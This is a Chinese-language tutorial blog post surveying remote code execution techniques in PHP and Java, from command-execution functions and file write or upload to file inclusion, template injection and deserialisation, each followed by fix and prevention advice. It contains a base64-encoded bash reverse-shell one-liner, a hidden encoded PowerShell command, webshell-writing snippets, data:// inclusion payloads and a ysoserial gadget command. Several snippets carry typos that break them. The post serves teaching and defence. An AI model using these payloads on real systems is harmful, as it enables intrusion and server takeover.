RCE总结

原文链接:https://paper.seebug.org/3162/

基础概念

在计算机安全中,任意代码执行(RCE)是攻击者在目标机器或目标进程中运行攻击者选择的任何命令或代码的能力。任意代码执行漏洞是软件或硬件中允许任意代码执行的安全漏洞。设计来利用这种漏洞的程序被称为任意代码执行漏洞。通过网络(特别是通过Internet等广域网)触发任意代码执行的能力通常被称为远程代码执行(RCE)

shell符号使用

在执行命令当中,我们会用到很多的shell符号,符号的用法如下:

1
2
3
4
cmd1 | cmd2 只执行cmd2 
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux中支持分号进行拼接执行:

1
cmd1 ; cmd2 

PHP中支持反引号拼接执行

1
2
3
<?php
echo `whoami`;
?>

常规RCE

基础RCE

PHP基础命令/代码执行函数

该方式最为常见,也是最为经典的方式,开发者因为没有对命令执行函数进行过滤,导致用户可以恶意传参造成的RCE

PHP下直接执行系统命令的函数如下:

exec

用于执行一个外部命令。它只返回命令的最后一行输出。可以通过一个可选的参数来获取命令的所有输出。还可以通过另一个可选的参数来获取命令的返回状态

shell_exec

同样用于执行外部命令。会返回命令的完整输出作为一个字符串。不提供命令的返回状态

system

也是用于执行外部命令。它会立即显示输出(适合用于产生大量输出的命令)。返回命令的最后一行输出。可以通过一个可选的参数来获取命令的返回状态

passthru

用于执行外部命令,并直接将原始输出传递给浏览器。常用于执行二进制文件或者需要直接传递数据流的情况(例如,输出图像或音频流)。不返回任何输出,但可以通过一个可选的参数来获取命令的返回状态

反引号

一种简便的语法,用于在PHP代码中直接执行外部命令。类似于shell_exec,会捕获并返回命令的完整输出

popen

用于打开一个到外部命令的管道。允许你与外部命令进行读或写操作(但不同时支持两者)。返回一个文件指针,可用于进一步的 fread 或 fwrite 操作。使用 pclose 来关闭管道并获取命令的退出状态

ob_start

PHP 的一个函数,用于开启输出缓冲。这意味着脚本的输出(如 echo)不会立即发送到浏览器,而是存储在内部缓冲区中。这允许在输出发送到浏览器前对其进行修改。使用 ob_end_flush() 来发送缓冲区内容至浏览器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
echo exec('echo 1');
echo shell_exec('echo 2');
system('echo 3');
echo passthru('echo 4');
echo `echo 5`;

$test = popen('echo 6', 'r');
if($test){
while(!feof($test)){
$line = fgets($test);
echo $line;
}
pclose($test);
}

ob_start("echo");
echo "7";
ob_end_flush();
?>

执行PHP代码的命令如下:

eval

用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回

assert

用于测试一个表达式是否为真。如果表达式为假,会抛出一个警告或异常(取决于 PHP 配置)。通常用于调试和测试目的

注意!!!此函数在在PHP8已经被移除了,以下是官方介绍:

1
assert(mixed$assertion, Throwable|string|null $description = null): bool

assertion可以是任何带返回值的表达式,运行后的结果用于表示断言成功还是失败。警告在 PHP 8.0.0 之前,如果assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除

call_user_func

用于调用一个回调函数,该函数可以是一个函数名或闭包。可以传递多个参数给回调函数。返回回调函数的返回值。适用于动态函数调用

create_function

用于创建匿名(lambda-style)函数。接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用

注意!!!同assert,已在PHP7.2弃用,PHP8.0被移除

array_map

用于将回调函数应用于数组的每个元素。接受一个回调函数和一个或多个数组。返回一个新数组,数组元素是回调函数应用于原始元素的结果。适用于转换或处理数组元素

call_user_func_array

用于调用回调函数,并将参数作为数组传递。接受两个参数:回调函数和参数数组。返回回调函数的返回值。适用于动态参数数量的函数调用

usort

用于对数组进行自定义排序,接受数组和比较函数作为参数。比较函数确定元素间的排序顺序,排序后的数组不保留原始键名。适用于根据用户定义的规则排序数组元素

array_filter

用于过滤数组元素,接受数组和可选的回调函数作为参数。如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素

array_reduce

用于迭代一个数组,并通过回调函数将数组的元素逐一减少到单一值。接受三个参数:一个数组、一个回调函数和一个可选的初始值。回调函数接受两个参数:一个是携带结果的累加器,另一个是当前数组元素。返回通过累加器得到的最终值

preg_replace

用于执行正则表达式的搜索和替换。接受三个参数:模式(正则表达式)、替换值和目标字符串。可以是单个字符串或数组。返回修改后的字符串或数组。适用于基于模式匹配修改文本内容。(/e的代码执行版本在5.6版本后被移除)

$符号

在 PHP 中,${} 语法本质上是用于复杂的变量解析,通常在字符串内用来解析变量或表达式。然而,在一些特殊情况下,如果配合 eval 或其他动态执行代码的功能,${} 可以被用来间接执行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
//eval
eval('system(whoami);');
//assert
assert('system(whoami)');
//call_user_func
call_user_func("assert",'system(whoami)');
//create_function
$command1 = create_function('','system(whoami);');
$command1();
//array_map
$command2 = ['whoami'];
array_map('system',$command2);
//call_user_func_array
$command3 = 'system';
$arguments = ['whoami'];
call_user_func_array($command3,$arguments);
//usort
$command4 = ['whoami','0'];
usort($commnand4,'system');
//array_filter
$command5 = ['whoami'];
array_filter(command5,'system');
?>

JAVA基础命令/代码执行函数

JAVA下直接执行系统命令的函数如下

Runtime.getRuntime().exec

注意!!!

但与php不同的是,java会将其中的参数当成一整个字符串来执行,而不会受到shell符号的影响

Runtime.exec类型的RCE如果要反弹shell需要特殊处理:

1
2
3
4
原命令:
bash -i >& /dev/tcp/127.0.0.1/12345 0>&1
处理后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

对于powershell应该是:

1
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==

ProcessBuilder

这个函数与Runtime.getRuntime().exec区别在于它是传参更加方便,并且它允许更精细的控制进程的创建,包括环境变量的设置、工作目录的改变以及更复杂的输入输出处理

Java代码执行:

1
2
3
4
5
6
7
import java.io.*

public class Test1{
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("ping" , "");
}
}

注意!!!

代码执行相当于字节码执行,一个弹计算器的例子:

1
2
3
4
5
public class Main {
public Main() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

然后使用javac Main.java编译成字节码文件

使用下面的代码进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.util.Base64;

public class compile {
public static void main(String[] args) throws IOException {
File file = new File("C://Users//95658//Desktop//ctf_challenges-master//Test1//src//Main.class");
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int n;
while ((n = fis.read(buf)) != -1) {
baos.write(buf, 0, n); }
fis.close();
byte[] classBytes = baos.toByteArray();
String base64 = Base64.getEncoder().encodeToString(classBytes);
System.out.println(base64);
}
}

使用下面的代码来解码base64后,使用我们自定义的类加载器执行我们的字节码,可以看到成功的执行了calc弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.util.Base64;
public class Excute {
public static void main(String[] args) throws Exception {
final String base64ClassString = "yv66vgAAAD0AHAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEABE1haW4BAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAApTb3VyY2VGaWxlAQAJTWFpbi5qYXZhACEAEwACAAAAAAABAAEABQAGAAIAFQAAAC4AAgABAAAADiq3AAG4AAcSDbYAD1exAAAAAQAWAAAADgADAAAAAgAEAAMADQAEABcAAAAEAAEAGAABABoAAAACABs=";
final byte[] classBytes = Base64.getDecoder().decode(base64ClassString);
ClassLoader customClassLoader = new ClassLoader() {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if ("Main".equals(name)) {
return defineClass(name, classBytes, 0, classBytes.length);
}
return super.findClass(name);
}
};
// 使用自定义的类加载器来加载我们的Test类
Class<?> clazz = Class.forName("Main", true, customClassLoader);
Object instance = clazz.getDeclaredConstructor().newInstance();
}
}

修复/预防方案

使用安全的过滤函数,例如:escapeshellargescapeshellcmd

1
2
3
4
5
6
<?php
$test = "|whoami";
system("echo 1".escapeshellcmd($test));
system("echo 1".escapeshellarg($test));
system("echo 1".$test);
?>

使用白名单命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$allowed_commands = ['dir','whoami','echo'];
$command1 = "whoami";
$command2 = "ipconfig";
if(in_array($command1,$allowed_commands)){
system($command1);
echo 1;
}
else if(in_array($command2 , $allowed_commands)){
system($command2);
echo 2;
}
else{
}
?>

通过正则表达式,只运行字母数字通过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$test1 = 'whoami';
$test2 = 'whoami|whoami';

if(preg_match('/^[a-zA-Z0-9]+$/', $test1)){
system($test1);
echo 1;
}
else if(preg_match('/^[a-zA-Z0-9]+$/', $test2)){
system($test2);
echo 2;
}

而java当中没有php的安全函数,但他本身的命令传参就会防止特殊符号。所以用正则进行控制即可

1
2
3
4
String userInput = ...; // 从用户或外部源获取的输入
if (!userInput.matches("[a-zA-Z0-9]+")) {
throw new IllegalArgumentException("不合法的输入");
}

任意文件写入导致RCE

任意文件写入漏洞(Arbitrary File Write Vulnerability),它允许攻击者将数据写入服务器上的文件,甚至创建新文件。这种漏洞通常发生在应用程序不正确地处理文件写入操作时

PHP任意文件写入方式

file_put_contents

这个函数用于简单地将一个字符串写入文件,如果文件不存在会尝试创建它。它是一个高级别的操作,相当于依次调用 fopen, fwrite, 和 fclose。可以指定标志来决定是否追加数据到文件或者是覆盖原有的数据。适用于快速简单地写入数据到文件

fwrite/fputs

fwrite与fputs函数用法完全相同

这个函数用于向一个打开的文件流(例如通过 fopen 获得的资源)写入数据。需要更细粒度的控制文件操作时(例如,持续写入数据到同一个文件),fwrite 更加适用。用于写入数据之前,必须先用 fopen 打开文件并获得文件指针

fprintf

类似于 fwrite,但它提供了格式化功能,类似于 printf 函数。允许你按照特定的格式将数据写入到文件流。同样需要一个通过 fopen 打开的文件指针。适用于需要按照特定格式写入数据的场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//file_put_contents
file_put_contents('test1.php',"<?php system('whoami')?>");

//fwite/fputs
$file = fopen("test2.php" , "w");
fwrite($file,"<?php system('whoami')?>");
fclose($file);

//fprintf
$file = fopen("test3.php" , "w");
fprintf($file,"<?php stsrem('whoami')?>");
fclose($file);

?>

JAVA任意文件写入方式

FileOutputStream

其是一个用于写入字节到文件的输出流类。它直接写入字节,因此非常适合处理二进制数据,如图像和音频文件。它直接与底层操作系统的文件写入机制交互,没有内置的缓冲机制

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.*;

public class test1 {
public static void main(String[] args) throws IOException, InterruptedException{
String data = "Hello World!";
try (FileOutputStream fos = new FileOutputStream("test1.jsp")){
byte[] bytes = data.getBytes();
fos.write(bytes);
}catch(IOException e){
e.printStackTrace();
}
}
}

BufferedOutputStream

BufferedOutputStreamOutputStream 的一个子类,它添加了缓冲功能。这意味着数据首先被写入到内存缓冲区,当缓冲区满时,数据才会写入文件。这可以提高文件写入的效率,特别是在多次写入小量数据的场景中

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.*;

public class test2 {
public static void main(String[] args) {
try (BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream("test.jsp"));
OutputStreamWriter osw = new OutputStreamWriter(bos, "UTF-8")) {
osw.write("Hello World");
} catch (IOException e) {
e.printStackTrace();
}
}
}

FileWriter

FileWriter 用于写入字符数据到文件。它是写入文本数据的便捷方式,特别是当数据是字符串时。它直接将字符数据转换为字节,并写入到文件中。因此,它更适合处理文本数据。FileWriter 基于默认的字符编码。要指定不同的编码,可能需要使用 OutputStreamWriterFileOutputStream 的组合

1
2
3
4
5
6
7
8
9
10
11
import java.io.*;

public class test3 {
public static void main(String[] args) throws IOException, InterruptedException {
try (FileWriter writer = new FileWriter("test3.jsp")){
writer.write("Hello World!");
} catch (IOException e){
e.printStackTrace();
}
}
}

Files.write

Files.write是Java NIO包中的一个高级方法,用于以简单、直接的方式将字节序列写入文件。它自动处理文件的打开和关闭,避免了手动管理底层资源。内部实现上,Files.write提供了缓冲机制,能够有效提升写入性能,适用于写入文本或二进制数据。此方法支持一次性写入所有内容,使得文件操作既高效又易于使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.charset.StandardCharsets;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;

public class test4 {
public static void main(String[] args){
try{
String filePath = "test4.jsp";
List<String> lines = Arrays.asList("Hello World!");
Files.write(Paths.get(filePath), lines, StandardCharsets.UTF_8);
} catch (IOException e){
e.printStackTrace();
}
}
}

修复/预防方案

PHP:可以使用安全过滤函数,禁止写入敏感代码,例如strip_tags可以移除php标签

1
2
3
4
5
6
7
<?php
$content = "<?php phpinfo();?>" ;

file_put_contents("E://Code//Test_RCE",$content."\n",FILE_APPEND);

file_put_contents("E://Code//Test_RCE","Defense".strip_tags($content),FILE_APPEND);
?>
  • 路径验证:在应用程序中对文件路径进行验证,确保用户提供的文件路径是受信任且合法的。不要直接使用用户提供的路径来写入文件,而是应该使用相对路径或者将用户提供的路径与预定义的安全路径进行组合
  • 权限控制:确保应用程序以最低权限执行,限制其对文件系统的写入权限。在操作系统级别,确保文件系统权限设置正确,应用程序只能写入其必要的目录,并且仅有必要的权限
  • 文件名随机化:在写入文件时,使用随机生成的文件名而不是用户提供的文件名。这可以防止攻击者直接访问写入的文件
  • 白名单验证:对于涉及到写入文件的操作,应该使用白名单验证来限制写入的文件类型和目录。只允许应用程序写入预定义的安全目录,并且只允许写入特定类型的文件

文件上传导致RCE

文件上传漏洞(File Upload Vulnearability),通常发生在Web应用程序中,尤其是那些允许用户上传文件的地方。这种漏洞的本质在于,应用程序在处理上传的文件时没有充分验证或限制,从而允许攻击者上传恶意文件

PHP任意文件上传方式

PHP只有move_uploaded_file函数负责文件上传,用法如下:

1
move_uploaded_file(string$from, string $to): bool

参数设置:$from上传的文件的文件名,$to移动文件到这个位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>文件上传测试表单</title>
</head>
<body>
<form action="1.php" method="post" enctype="multipart/form-data">
<label for="file">选择文件</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="上传文件">
</form>
</body>
</html>
<?php
//move_uploaded_file
move_uploaded_file($_FILES["file"]["tap_name"],"uploads/".$_FILES["file"]["name"]);
?>

修复/预防方案

  • 白名单验证:仅允许上传已知安全的文件类型,例如图片文件(jpg, png等),并拒绝所有其他类型的文件。这要求系统能够验证文件的真实类型,而不仅仅是依赖文件扩展名
  • 文件类型检测:通过检测文件的MIME类型或者文件内容的特定标识(如图片文件的头信息)来判断文件类型,而不是仅仅依赖于文件的扩展名。(不推荐,容易绕过)
  • 文件内容扫描:使用病毒扫描工具扫描所有上传的文件,以识别和阻止恶意软件或脚本的上传
  • 设置文件上传大小限制:限制可上传文件的大小,减少攻击者上传大型恶意文件的机会。(不推荐,部分木马内存较小)
  • 文件存储隔离:不要将上传的文件存储在执行脚本的目录下,避免恶意脚本被服务器执行。可以将文件存储在非Web根目录下,并通过安全的方式提供文件访问(例如,通过脚本读取文件内容并输出,而不是直接通过URL访问)
  • 重命名上传文件:为上传的文件重新命名(例如,使用UUID或其他随机字符串),避免直接使用用户提供的文件名,这样可以防止目录遍历攻击和文件覆盖攻击
  • 设置强制访问控制:确保文件上传功能只对信任的用户开放,并对用户进行身份验证和授权

文件包含导致RCE

文件包含漏洞允许攻击者将服务器上的文件包含到输出页面中,或者包含远程文件,从而执行恶意代码。主要分为两种类型:本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI)

PHP本地文件包含(LFI)

众所周知,PHP的代码要执行的话,需要后缀名为.php。但PHP当中关于文件包含的函数就可以在文件名为.txt等其他不同后缀的情况下,执行PHP代码

利用include 和 require两个函数,同时包含1.txt,成功地输出了两次test字符。这两个函数的区别在于,如果include包含一个不存在的文件只会警告,而require会直接停止运行。还有两个函数为include_oncerequire_once,这两个函数与本身的区别在于,如果已经包含过了目标则不会包含

如果目标文件不是php代码,则会直接输出目标文件内容

PHP 远程文件包含(RFI)+PHP伪协议

而PHP当中还有远程文件包含(RFI),在实战中,利用PHP伪协议的配合会有更多的进攻方向与思路。 而要使用远程文件包含需要目标环境

1
allow_url_fopen = Onallow_url_include = On

这两个参数需要在php.ini单独设置,在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off,所以需要我们手动从Off改成On

开启之后我们就可以进行利用了,一般来说,实战当中大部分都是文件包含配合 php://inputdata:// 进行RCE的

php://input

可以将post中的数据当成PHP的代码来执行

data://

1
2
data:text/plain,<?php%20phpinfo();
data://text/plain,<?php%20phpinfo();?>

JAVA文件包含方式

Java代码也是利用include进行文件包含

1
2
3
//index.jsp
<% String file = "test.jsp"; %>
<jsp:include page="<%=file%>"></jsp:include>
1
2
3
//test.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% out.println(Test!);%>

但不同于php,java的文件包含无法对.txt文件中的java代码进行解析,所有危害有限,一般作为任意文件读取或下载。但除非是被包含的jsp文件,正常方式无法访问到且其中存在危险函数,这时就可以利用文件包含打RCE了

SSTI导致RCE

在说ssti之前,先说下模板引擎,简单来说就是为了分离用户界面和业务数据的。运行逻辑是先获取用户的输入,经过渲染后呈现到用户面前。而SSTI就是服务端模板注入,当用户输入恶意数据后,未经过滤下就可能造成安全危害

而服务器端模板注入(Server-Side Template Injection,SSTI)是一种安全漏洞,允许攻击者通过向服务器端模板引擎提交恶意输入数据来注入并执行不安全的代码。这种攻击的成功依赖于服务器端模板引擎的配置和功能

SSTI

修复/预防方案

  • 验证和清理输入:对所有用户输入进行严格验证和清理,确保输入内容不包含可能会被模板引擎错误解释执行的代码或标记
  • 使用安全的模板引擎配置:许多模板引擎提供了防止SSTI的安全配置选项。确保模板引擎以最安全的方式配置,并禁用不必要的功能
  • 限制模板引擎功能:限制模板引擎可以访问的功能和API,尽量减少攻击者可利用的攻击面。例如,禁止模板直接访问文件系统或执行系统命令
  • 使用沙箱环境:在可能的情况下,将模板引擎运行在沙箱环境中,以限制模板代码的执行权限,防止恶意代码访问或修改敏感资源
  • 内容安全策略(CSP):实施内容安全策略,限制可以执行的脚本类型和来源,降低潜在的攻击影响
  • 更新和打补丁:定期更新和给模板引擎及其依赖库打补丁,以修复已知的安全漏洞

反序列化导致RCE

反序列化漏洞发生在当不安全地处理从不可信源接收的序列化数据时。序列化是将对象状态或数据结构转换为可以存储或传输的格式(如XML、JSON、二进制格式)的过程,而反序列化是将这种格式恢复为原始的对象状态或数据结构的过程。如果应用程序不安全地反序列化用户提供的数据,攻击者可能能够执行恶意代码或操作应用程序行为,导致数据泄露、服务拒绝、甚至完全控制受影响的服务器

PHP反序列化

在PHP当中,关于序列化和反序列化的魔法函数有很多,魔术方法是一种特殊的方法,当对 对象执行某些操作时会覆盖 PHP 的默认操作。而PHP中最为常见也是最为基础的就是__construct__destruct

__construct 构造函数,具有构造函数的类会在每次创建新对象时先调用此方法

__destruct 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

JAVA反序列化

先进行一次简单的序列化和反序列化的过程,如下,OBjectOutputStream中writeObject是进行序列化的过程,而readObject是进行反序列化的过程。并且从写入到object.dat文件当中可知,java序列化的数据不是纯文本格式不可读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;

class serialize {
public static void main(String[] args){
try {
//序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("object.dat"));
out.writeObject("Hello World!");
out.close();
//反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("object.dat"));
System.out.println("反序列化的对象:" + in.readObject());
in.close();
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}

Java进行反序列化RCE只用本身的代码较麻烦,这里使用一个通用简单的来演示,因为java需要安装依赖才能继续,所以先把大部分项目必备的依赖安装了

1
2
3
commons-beanutils-1.9.4.jar(https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.ja)
commons-collections-3.1.jar(https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar)
commons-logging-1.1.3.jar(https://repo1.maven.org/maven2/commons-logging/commons-logging/1.1.3/commons-logging-1.1.3.jar)

java生成payload的工具

1
ysoserial.jar(https://github.com/frohoff/ysoserial)

将依赖都放在项目目录下,并add to library

使用命令生成 payload

1
java -jar "ysoserial-all.jar" CommonsBeanutils1 "calc.exe" > 1.ser

访问index.jsp,可以看出成功弹出计算器,rce成功

修复/预防方案

尽量用高版本JDK,因为禁了 RMI Codebase / TemplatesImpl (JDK17) 等危险的类

使用白名单机制限制可反序列化的类和对象类型,只允许已知、受信任的类进行反序列化。确保白名单列表具有最小化的权限,即只包含必需的类和对象


RCE总结
http://example.com/2024/06/02/rce/
作者
ZERO
发布于
2024年6月2日
许可协议